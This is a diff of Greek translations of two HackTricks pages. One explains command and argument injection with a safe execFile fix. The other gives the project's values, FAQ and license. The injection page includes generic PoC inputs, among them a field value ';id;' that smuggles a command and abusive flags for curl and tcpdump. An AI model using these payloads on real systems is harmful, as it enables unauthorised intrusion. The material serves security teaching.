`exec()` δημιουργεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδική σημασία για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος χρήστη συγκολληθεί στη συμβολοσειρά.
|
||||
|
||||
**Αντιμετώπιση:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell:
|
||||
**Αντιμετώπιση:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,25 +140,25 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκτεθειμένο μέσω ενός μη πιστοποιημένου WebSocket event που τοποθέτησε attacker controlled δεδομένα στο `id_user` τα οποία αργότερα ενσωματώθηκαν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη-επαληθευμένου WebSocket γεγονότος που τοποθετούσε δεδομένα ελεγχόμενα από attacker στο `id_user` τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||
|
||||
Δεν απαιτούν όλες οι εγχύσεις shell metacharacters. Αν η εφαρμογή περνάει μη αξιόπιστες συμβολοσειρές ως ορίσματα σε ένα system utility (ακόμα και με `execve`/`execFile` και χωρίς shell), πολλά προγράμματα θα εξακολουθούν να αναλύουν οποιοδήποτε όρισμα που ξεκινά με `-` ή `--` ως επιλογή. Αυτό επιτρέπει σε έναν attacker να αλλάξει λειτουργίες, να αλλάξει μονοπάτια εξόδου ή να ενεργοποιήσει επικίνδυνες συμπεριφορές χωρίς ποτέ να εισέλθει σε ένα shell.
|
||||
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
|
||||
|
||||
Τυπικά σημεία όπου αυτό εμφανίζεται:
|
||||
Τυπικά σημεία όπου εμφανίζεται:
|
||||
|
||||
- Embedded web UIs/CGI handlers που κατασκευάζουν εντολές όπως `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, κ.λπ.
|
||||
- Centralized CGI routers (π.χ. `/cgi-bin/<something>.cgi` με παράμετρο selector όπως `topicurl=<handler>`) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator.
|
||||
- Ενσωματωμένα web UIs/CGI handlers που κατασκευάζουν εντολές όπως `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, κ.λπ.
|
||||
- Κεντρικοί CGI routers (π.χ., `/cgi-bin/<something>.cgi` με παράμετρο selector όπως `topicurl=<handler>`) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator.
|
||||
|
||||
Τι να δοκιμάσετε:
|
||||
|
||||
- Δώστε τιμές που ξεκινούν με `-`/`--` για να καταναλωθούν ως flags από το downstream tool.
|
||||
- Κακομεταχειριστείτε flags που αλλάζουν συμπεριφορά ή γράφουν αρχεία, για παράδειγμα:
|
||||
- `ping`: `-f`/`-c 100000` για να καταπονήσετε τη συσκευή (DoS)
|
||||
- `curl`: `-o /tmp/x` για να γράψετε σε αυθαίρετα μονοπάτια, `-K <url>` για να φορτώσετε attacker-controlled config
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` για να επιτύχετε post-rotate execution σε unsafe wrappers
|
||||
- Αν το πρόγραμμα υποστηρίζει το `--` (end-of-options), δοκιμάστε να παρακάμψετε αφελείς mitigations που προθέτουν `--` στο λάθος σημείο.
|
||||
- Δώστε τιμές που ξεκινούν με `-`/`--` ώστε να καταναλωθούν ως flags από το downstream εργαλείο.
|
||||
- Καταχραστείτε flags που αλλάζουν τη συμπεριφορά ή γράφουν αρχεία, για παράδειγμα:
|
||||
- `ping`: `-f`/`-c 100000` για να επιβαρύνετε τη συσκευή (DoS)
|
||||
- `curl`: `-o /tmp/x` για να γράψετε arbitrary paths, `-K <url>` για να φορτώσετε attacker-controlled config
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` για να πετύχετε post-rotate execution σε unsafe wrappers
|
||||
- Αν το πρόγραμμα υποστηρίζει `--` end-of-options, δοκιμάστε να παρακάμψετε naive mitigations που προσθέτουν `--` στο λάθος σημείο.
|
||||
|
||||
Generic PoC shapes against centralized CGI dispatchers:
|
||||
```
|
||||
@ -171,7 +171,7 @@ topicurl=<handler>¶m=-n
|
||||
# Unauthenticated RCE when a handler concatenates into a shell
|
||||
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
```
|
||||
## Brute-Force Detection List
|
||||
## Λίστα Ανίχνευσης Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -183,9 +183,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
- [Εξαγωγή κρυπτογραφημένων αρχείων Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [Εγχειρίδιο PHP proc_open](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root μέσω ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
- [Unit 42 – TOTOLINK X6000R: Τρεις νέες ευπάθειες](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,57 +1,57 @@
|
||||
# HackTricks Αξίες & Συχνές Ερωτήσεις
|
||||
# HackTricks Αξίες & Συχνές Ερωτήσεις (FAQ)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Αξίες του HackTricks
|
||||
## HackTricks Αξίες
|
||||
|
||||
> [!TIP]
|
||||
> Αυτές είναι οι **αξίες του έργου HackTricks**:
|
||||
>
|
||||
> - Παρέχουμε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟΥΣ hacking** πόρους σε **ΟΛΟ** το Διαδίκτυο.
|
||||
> - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
|
||||
> - Ο σκοπός αυτού του βιβλίου είναι να λειτουργεί ως ένας ολοκληρωμένος **εκπαιδευτικός πόρος**.
|
||||
> - **ΑΠΟΘΗΚΕΥΟΥΜΕ** εκπληκτικές τεχνικές **hacking** που δημοσιεύει η κοινότητα, δίνοντας στους **ΑΡΧΙΚΟΥΣ ΣΥΓΓΡΑΦΕΙΣ** όλη την αναγνώριση.
|
||||
> - **Δεν θέλουμε την αναγνώριση από άλλους**, θέλουμε απλώς να αποθηκεύουμε ωραία κόλπα για όλους.
|
||||
> - Επίσης γράφουμε τις **δικές μας έρευνες** στο HackTricks.
|
||||
> - Σε αρκετές περιπτώσεις θα γράψουμε στο HackTricks μόνο μια **σύνοψη των σημαντικών σημείων** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφτεί το αρχικό άρθρο** για περισσότερες λεπτομέρειες.
|
||||
> - **ΟΡΓΑΝΩΝΟΥΜΕ** όλες τις τεχνικές **hacking** στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΟ**
|
||||
> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να **μαθαίνουν πιο γρήγορα**
|
||||
> - Παρέχουμε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟ hacking** υλικό σε **ΟΛΟ** το Διαδίκτυο.
|
||||
> - Το Hacking αφορά τη μάθηση, και η μάθηση πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
|
||||
> - Σκοπός αυτού του βιβλίου είναι να λειτουργεί ως μια ολοκληρωμένη **εκπαιδευτική πηγή**.
|
||||
> - **ΑΠΟΘΗΚΕΥΟΥΜΕ** εξαιρετικές **hacking** τεχνικές που η κοινότητα δημοσιεύει, δίνοντας στους **ΑΡΧΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **credits**.
|
||||
> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
|
||||
> - Επίσης γράφουμε **τις δικές μας έρευνες** στο HackTricks.
|
||||
> - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών σημείων** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί το αρχικό άρθρο** για περισσότερες λεπτομέρειες.
|
||||
> - **ΟΡΓΑΝΩΝΟΥΜΕ** όλες τις τεχνικές hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΙΤΟ**
|
||||
> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## HackTricks faq
|
||||
## HackTricks Συχνές Ερωτήσεις
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Σας ευχαριστούμε πολύ για αυτούς τους πόρους, πώς μπορώ να σας ευχαριστήσω;**
|
||||
> - **Thank you so much for these resources, how can I thank you?**
|
||||
|
||||
Μπορείτε να ευχαριστήσετε δημόσια τις ομάδες HackTricks για τη συγκέντρωση όλων αυτών των πόρων με ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης να [**υποστηρίξετε το project εδώ**](https://github.com/sponsors/carlospolop).\
|
||||
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα projects του Github!** (Βρείτε τους συνδέσμους παρακάτω).
|
||||
Μπορείτε δημόσια να ευχαριστήσετε τις ομάδες HackTricks για το ότι συγκέντρωσαν όλους αυτούς τους πόρους δημόσια σε ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
And don't forget to **give a star in the Github projects!** (Find the links below).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Πώς μπορώ να συμβάλλω στο έργο;**
|
||||
> - **How can I contribute to the project?**
|
||||
|
||||
Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες του Github:
|
||||
Μπορείτε να **μοιραστείτε νέα tips and tricks με την κοινότητα ή να διορθώσετε bugs** που βρείτε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες στο Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Μην ξεχάσετε να **δώσετε ένα αστέρι στα projects του Github!**
|
||||
Μην ξεχάσετε να **δώσετε ένα star στα projects του Github!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Μπορώ να αντιγράψω περιεχόμενο από το HackTricks και να το βάλω στο blog μου;**
|
||||
> - **Can I copy some content from HackTricks and put it in my blog?**
|
||||
|
||||
Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τον/τους συγκεκριμένο(ούς) σύνδεσμο(ους)** από όπου ελήφθη το περιεχόμενο.
|
||||
Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τον/τους συγκεκριμένο(ους) σύνδεσμο(ους)** από όπου ελήφθη το περιεχόμενο.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Πώς μπορώ να παραπέμψω σε μια σελίδα του HackTricks;**
|
||||
> - **How can I reference a page of HackTricks?**
|
||||
|
||||
Εφόσον εμφανίζεται ο σύνδεσμος της σελίδας/των σελίδων από όπου πήρατε τις πληροφορίες, αυτό είναι αρκετό.\
|
||||
Εάν χρειάζεστε bibtex μπορείτε να χρησιμοποιήσετε κάτι σαν:
|
||||
Αρκεί ο σύνδεσμος **της** σελίδας(ων) από την οποία πήρατε την πληροφορία να εμφανίζεται.\
|
||||
If you need a bibtex you can use something like:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Μπορώ να αντιγράψω όλα τα HackTricks στο blog μου;**
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
|
||||
**Καλύτερα να μην το κάνετε**. Αυτό **δεν πρόκειται να ωφελήσει κανέναν** καθώς όλο το **περιεχόμενο είναι ήδη δημόσια διαθέσιμο** στα επίσημα βιβλία HackTricks δωρεάν.
|
||||
**Προτιμώ να μην το κάνετε**. Αυτό **δεν θα ωφελήσει κανέναν** καθώς όλο το **περιεχόμενο είναι ήδη διαθέσιμο δημόσια** στα επίσημα βιβλία του HackTricks δωρεάν.
|
||||
|
||||
Αν φοβάστε ότι θα εξαφανιστεί, απλώς κάντε fork στο Github ή κατεβάστε το — όπως είπα, είναι ήδη δωρεάν.
|
||||
Αν φοβάστε ότι μπορεί να εξαφανιστεί, απλώς κάντε fork στο Github ή κατεβάστε το — όπως είπα, είναι ήδη δωρεάν.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Γιατί έχετε χορηγούς; Είναι τα βιβλία HackTricks για εμπορικούς σκοπούς;**
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
|
||||
Η πρώτη **αξία** των **HackTricks** είναι να προσφέρει **ΔΩΡΕΑΝ** εκπαιδευτικούς πόρους hacking σε **ΟΛΟ** τον κόσμο. Η ομάδα HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **ΔΩΡΕΑΝ**.
|
||||
Η πρώτη **HackTricks** **αξία** είναι να προσφέρει **FREE** εκπαιδευτικούς πόρους hacking σε **ΟΛΟΚΛΗΡΟ** τον κόσμο. Η ομάδα του HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **FREE**.
|
||||
|
||||
Αν νομίζετε ότι τα βιβλία HackTricks είναι φτιαγμένα για **εμπορικούς σκοπούς**, είστε **ΑΠΟΛΥΤΩΣ ΛΑΘΟΣ**.
|
||||
Αν πιστεύετε ότι τα βιβλία του HackTricks γίνονται για **εμπορικούς σκοπούς**, είστε **ΕΝΤΕΛΩΣ ΛΑΘΟΣ**.
|
||||
|
||||
Έχουμε χορηγούς επειδή, ακόμα κι αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στο HackTricks μέσω [**Github sponsors**](https://github.com/sponsors/carlospolop), και σε **σχετικές εταιρείες κυβερνοασφάλειας** να χορηγήσουν το HackTricks και να **έχουμε μερικές διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** πάντα τοποθετημένες σε μέρη όπου γίνονται **ορατές** αλλά **δεν διαταράσσουν τη διαδικασία μάθησης** αν κάποιος επικεντρωθεί στο περιεχόμενο.
|
||||
Έχουμε χορηγούς γιατί, ακόμη και αν όλο το περιεχόμενο είναι FREE, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στο HackTricks μέσω του [**Github sponsors**](https://github.com/sponsors/carlospolop), και **σχετικές εταιρείες κυβερνοασφάλειας** να χορηγήσουν το HackTricks και να **έχουμε κάποιες διαφημίσεις** στο βιβλίο, οι οποίες τοποθετούνται πάντα σε σημεία ώστε να είναι **ορατές** αλλά **να μην διαταράσσουν τη μαθησιακή** διαδικασία αν κάποιος επικεντρωθεί στο περιεχόμενο.
|
||||
|
||||
Δεν θα βρείτε το HackTricks γεμάτο με ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από το HackTricks, επειδή το HackTricks δεν έχει φτιαχτεί για εμπορικούς σκοπούς.
|
||||
Δεν θα βρείτε το HackTricks γεμάτο ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από το HackTricks, γιατί το HackTricks δεν έχει δημιουργηθεί για εμπορικούς σκοπούς.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Τι πρέπει να κάνω αν κάποια σελίδα του HackTricks βασίζεται σε ανάρτηση του blog μου αλλά δεν αναφέρεται;**
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
|
||||
**Συγγνώμη. Αυτό δεν έπρεπε να έχει συμβεί**. Παρακαλούμε ενημερώστε μας μέσω Github issues, Twitter, Discord... το σύνδεσμο της σελίδας HackTricks με το περιεχόμενο και το σύνδεσμο του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε το συντομότερο δυνατόν (ASAP)**.
|
||||
**Λυπούμαστε πολύ. Αυτό δεν θα έπρεπε να έχει συμβεί**. Παρακαλώ ενημερώστε μας μέσω Github issues, Twitter, Discord... το link της σελίδας HackTricks με το περιεχόμενο και το link του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε το συντομότερο δυνατόν**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Τι πρέπει να κάνω αν υπάρχει περιεχόμενο από το blog μου στο HackTricks και δεν το θέλω εκεί;**
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
|
||||
Σημειώστε ότι το να υπάρχουν σύνδεσμοι προς τη σελίδα σας στο HackTricks:
|
||||
Σημειώστε ότι το να υπάρχουν links προς τη σελίδα σας στο HackTricks:
|
||||
|
||||
- Βελτιώνει το **SEO**
|
||||
- Το περιεχόμενο **μεταφράζεται σε πάνω από 15 γλώσσες**, κάνοντας δυνατό για περισσότερους ανθρώπους να έχουν πρόσβαση σε αυτό το περιεχόμενο
|
||||
- Το **HackTricks ενθαρρύνει** τους ανθρώπους να **επισκεφθούν τη σελίδα σας** (πολλοί άνθρωποι μας έχουν αναφέρει ότι από τη στιγμή που κάποια σελίδα τους είναι στο HackTricks λαμβάνουν περισσότερες επισκέψεις)
|
||||
- Βελτιώνει το **SEO** σας
|
||||
- Το περιεχόμενο **μεταφράζεται σε περισσότερες από 15 γλώσσες**, κάνοντας δυνατή την πρόσβαση περισσότερων ανθρώπων σε αυτό το περιεχόμενο
|
||||
- **Το HackTricks ενθαρρύνει** τους ανθρώπους να **επισκεφθούν τη σελίδα σας** (πολλοί μας έχουν αναφέρει ότι από τη στιγμή που κάποια σελίδα τους είναι στο HackTricks λαμβάνουν περισσότερες επισκέψεις)
|
||||
|
||||
Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από το HackTricks, απλά ενημερώστε μας και θα **αφαιρέσουμε οπωσδήποτε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό.
|
||||
Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από το HackTricks, απλώς ενημερώστε μας και σίγουρα θα **αφαιρέσουμε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Τι πρέπει να κάνω αν βρω αντιγραμμένο περιεχόμενο στο HackTricks;**
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
|
||||
Πάντα **δίνουμε στους πρωτότυπους συγγραφείς όλες τις πιστώσεις**. Αν βρείτε μια σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα το είτε **αφαιρέσουμε**, είτε **θα προσθέσουμε τον σύνδεσμο πριν το κείμενο**, είτε **θα το ξαναγράψουμε προσθέτοντας τον σύνδεσμο**.
|
||||
Πάντα **δίνουμε στους πρωτότυπους συγγραφείς όλα τα credits**. Αν βρείτε μια σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφορά στην πρωτότυπη πηγή, ενημερώστε μας και είτε θα **την αφαιρέσουμε**, είτε θα **προσθέσουμε το link πριν το κείμενο**, είτε θα **την ξαναγράψουμε προσθέτοντας το link**.
|
||||
|
||||
## ΑΔΕΙΑ
|
||||
## Άδεια
|
||||
|
||||
Copyright © Όλα τα δικαιώματα διατηρούνται εκτός αν αναφέρεται διαφορετικά.
|
||||
Copyright © Όλα τα δικαιώματα διατηρούνται εκτός αν ορίζεται διαφορετικά.
|
||||
|
||||
#### Περίληψη Άδειας:
|
||||
|
||||
- Αναφορά: Επιτρέπεται να:
|
||||
- Κοινοποιήσετε — αντιγράψετε και αναδιανείμετε το υλικό σε οποιοδήποτε μέσο ή μορφότυπο.
|
||||
- Προσαρμόσετε — τροποποιήσετε, μετασχηματίσετε και να αναπτύξετε περαιτέρω το υλικό.
|
||||
- Κοινοποιήσετε — αντιγράψετε και αναδιανείμετε το υλικό σε οποιοδήποτε μέσο ή μορφή.
|
||||
- Προσαρμόσετε — αναμείξετε, μετασχηματίσετε και να δημιουργήσετε πάνω στο υλικό.
|
||||
|
||||
#### Πρόσθετοι Όροι:
|
||||
|
||||
- Περιεχόμενο Τρίτων: Μερικά μέρη αυτού του blog/βιβλίου ενδέχεται να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή εκδόσεις. Η χρήση τέτοιου περιεχομένου γίνεται σύμφωνα με τις αρχές της δίκαιης χρήσης (fair use) ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλούμε ανατρέξτε στις αρχικές πηγές για συγκεκριμένες πληροφορίες άδειας σχετικά με περιεχόμενο τρίτων.
|
||||
- Συγγραφικότητα: Το πρωτότυπο περιεχόμενο που δημιουργήθηκε από το HackTricks υπόκειται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδώσετε αυτό το έργο στον/στην συγγραφέα όταν το κοινοποιείτε ή το προσαρμόζετε.
|
||||
- Περιεχόμενο τρίτων: Μερικά μέρη αυτού του blog/book μπορεί να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή δημοσιεύσεις. Η χρήση τέτοιου περιεχομένου γίνεται υπό τις αρχές της δίκαιης χρήσης ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλώ ανατρέξτε στις πρωτότυπες πηγές για συγκεκριμένες πληροφορίες αδειοδότησης σχετικά με περιεχόμενο τρίτων.
|
||||
- Συγγραφικότητα: Το πρωτότυπο περιεχόμενο που έχει συνταχθεί από το HackTricks υπόκειται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδίδετε αυτό το έργο στον/στους συγγραφέα(-είς) όταν το κοινοποιείτε ή το προσαρμόζετε.
|
||||
|
||||
#### Εξαιρέσεις:
|
||||
|
||||
- Εμπορική Χρήση: Για ερωτήματα σχετικά με την εμπορική χρήση αυτού του περιεχομένου, παρακαλώ επικοινωνήστε μαζί μου.
|
||||
|
||||
Αυτή η άδεια δεν παρέχει κανένα δικαίωμα εμπορικού σήματος ή branding σε σχέση με το περιεχόμενο. Όλα τα εμπορικά σήματα και το branding που εμφανίζονται σε αυτό το blog/βιβλίο ανήκουν στους αντίστοιχους ιδιοκτήτες τους.
|
||||
Αυτή η άδεια δεν χορηγεί κανένα δικαίωμα εμπορικού σήματος ή δικαιώματος branding σε σχέση με το περιεχόμενο. Όλα τα εμπορικά σήματα και το branding που εμφανίζονται σε αυτό το blog/book είναι ιδιοκτησία των αντίστοιχων κατόχων τους.
|
||||
|
||||
**Με την πρόσβαση ή χρήση του HackTricks, συμφωνείτε να τηρείτε τους όρους αυτής της άδειας. Εάν δεν συμφωνείτε με αυτούς τους όρους, παρακαλούμε, μην επισκέπτεστε αυτήν την ιστοσελίδα.**
|
||||
**Με την πρόσβαση ή τη χρήση του HackTricks, συμφωνείτε να τηρείτε τους όρους αυτής της άδειας. Αν δεν συμφωνείτε με αυτούς τους όρους, παρακαλώ μην επισκέπτεστε αυτόν τον ιστότοπο.**
|
||||
|
||||
## **Αποποίηση Ευθυνών**
|
||||
|
||||
> [!CAUTION]
|
||||
> Αυτό το βιβλίο, 'HackTricks,' προορίζεται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς. Το περιεχόμενο αυτού του βιβλίου παρέχεται "ως έχει", και οι συγγραφείς και οι εκδότες δεν κάνουν καμία δήλωση ή εγγύηση οποιουδήποτε είδους, ρητή ή σιωπηρή, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιέχονται σε αυτό το βιβλίο. Οποιαδήποτε εμπιστοσύνη τοποθετείτε σε τέτοιες πληροφορίες γίνεται αυστηρά με δική σας ευθύνη.
|
||||
> Αυτό το βιβλίο, 'HackTricks,' προορίζεται αποκλειστικά για εκπαιδευτικούς και ενημερωτικούς σκοπούς. Το περιεχόμενο εντός αυτού του βιβλίου παρέχεται «ως έχει», και οι συγγραφείς και οι εκδότες δεν παρέχουν εγγυήσεις ή δηλώσεις οποιουδήποτε είδους, ρητές ή σιωπηρές, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιέχονται σε αυτό το βιβλίο. Οποιαδήποτε εξάρτηση βασίζετε σε τέτοιες πληροφορίες είναι επομένως αυστηρά με δική σας ευθύνη.
|
||||
>
|
||||
> Οι συγγραφείς και οι εκδότες δεν ευθύνονται σε καμία περίπτωση για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένων, χωρίς περιορισμό, έμμεσων ή επακόλουθων απωλειών ή ζημιών, ή οποιασδήποτε απώλειας ή ζημίας που προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από ή σε σχέση με τη χρήση αυτού του βιβλίου.
|
||||
> Οι συγγραφείς και οι εκδότες σε καμία περίπτωση δεν θα ευθύνονται για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένης χωρίς περιορισμό, έμμεσης ή επακόλουθης απώλειας ή ζημίας, ή οποιασδήποτε απώλειας ή ζημίας προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από ή σε σχέση με τη χρήση αυτού του βιβλίου.
|
||||
>
|
||||
> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς, και δεν πρέπει να χρησιμοποιούνται για οποιεσδήποτε παράνομες ή κακόβουλες δραστηριότητες. Οι συγγραφείς και οι εκδότες δεν εγκρίνουν ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες δραστηριότητες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με δική του/της ευθύνη και κρίση.
|
||||
